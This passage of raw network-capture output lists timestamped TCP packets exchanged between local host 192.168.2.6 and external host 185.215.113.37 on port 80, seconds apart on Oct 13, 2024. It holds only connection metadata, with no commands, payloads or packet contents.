Oct 13, 2024 00:47:53.105890036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.105902910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.105925083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.105940104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.105963945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.105974913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.105999947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106029987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106034994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106049061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106066942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106080055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106103897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106113911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106137037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106154919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106169939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106188059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106203079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106215954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106237888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106255054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106272936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106283903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106333971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106461048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106489897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106512070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106522083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106547117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106556892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106571913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106590986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106625080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106658936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106673956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106690884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106713057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106724977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106749058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106761932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106779099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106796026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106821060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106828928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106852055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106862068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106875896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106899023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.106915951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.106951952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109407902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109461069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109463930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109499931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109530926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109546900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109551907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109585047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109615088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109633923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109637976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109723091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109755993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109776974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109782934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109816074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109831095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109850883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109864950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109885931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109899998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109921932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109935045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109956980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.109971046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.109992981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.110012054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.110028028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.110058069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.110071898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.191636086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.191699982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.191740036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.191781044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.191793919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.191781044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.191831112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.191845894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.191847086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.191867113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.191875935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.191900969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.191934109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.191936970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.191955090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.191991091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.191998959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192032099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192061901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192066908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192085028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192102909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192130089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192168951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192284107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192317963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192349911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192351103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192370892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192389011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192411900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192424059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192449093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192459106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192477942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192493916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192516088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192528963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192553043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192563057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192593098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192595005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192627907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192629099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192666054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192694902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192699909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192718029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192735910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192737103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192770004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192770958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192790985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192807913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192826033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192840099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192862034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192878008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192898989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192910910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192930937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192964077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.192972898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.192998886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193027020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193037033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193051100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193070889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193092108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193114042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193131924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193144083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193162918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193196058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193205118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193232059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193254948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193267107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193284035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193301916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193316936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193356991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193356991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193412066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193419933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193449974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193469048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193484068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193506002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193517923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193535089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193572998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193574905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193608999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193627119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193660975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193666935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193698883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193716049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193734884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193758965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193773031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193783045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193805933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193825960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193842888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193861961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193875074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.193892002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193924904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.193965912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194000959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194027901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194034100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194047928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194086075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194088936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194124937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194147110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194169998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194174051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194207907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194227934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194241047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194264889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194273949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194288969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194304943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194325924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194339991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194355965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194375038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194391012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194408894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194431067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194442034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194461107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194473028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194495916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194509029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194544077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194545031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194565058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194580078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194595098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194616079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194636106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194650888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194677114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194686890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194700956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194721937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194742918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194760084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194780111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194794893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194816113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194848061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194848061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194905996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194907904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194945097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.194964886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.194977999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195000887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195013046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195031881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195049047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195067883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195084095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195103884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195116997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195137978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195151091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195173025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195185900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195204973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195220947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195240021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195254087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195280075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195290089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195308924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195324898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195343018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195359945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195375919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195413113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195415974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195451021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195470095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195485115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195503950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195519924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195544004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195555925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195573092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195593119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195614100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195626974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195651054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195662975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195687056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195698977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195713997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195738077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195768118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.195775986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195796967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.195818901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198308945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198364019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198380947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198400021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198421001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198450089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198487043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198520899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198549986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198574066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198579073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198610067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198631048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198645115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198663950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198679924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198698044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198714018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198733091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198750973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198770046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198785067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198807001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198818922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198829889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198872089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198872089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198905945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.198928118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.198976994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.280383110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.280426025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.280441999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.280522108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.280523062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.280523062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.280539989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.280556917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.280574083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:53.280615091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.280615091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:53.280641079 CEST	49711	80	192.168.2.6	185.215.113.37
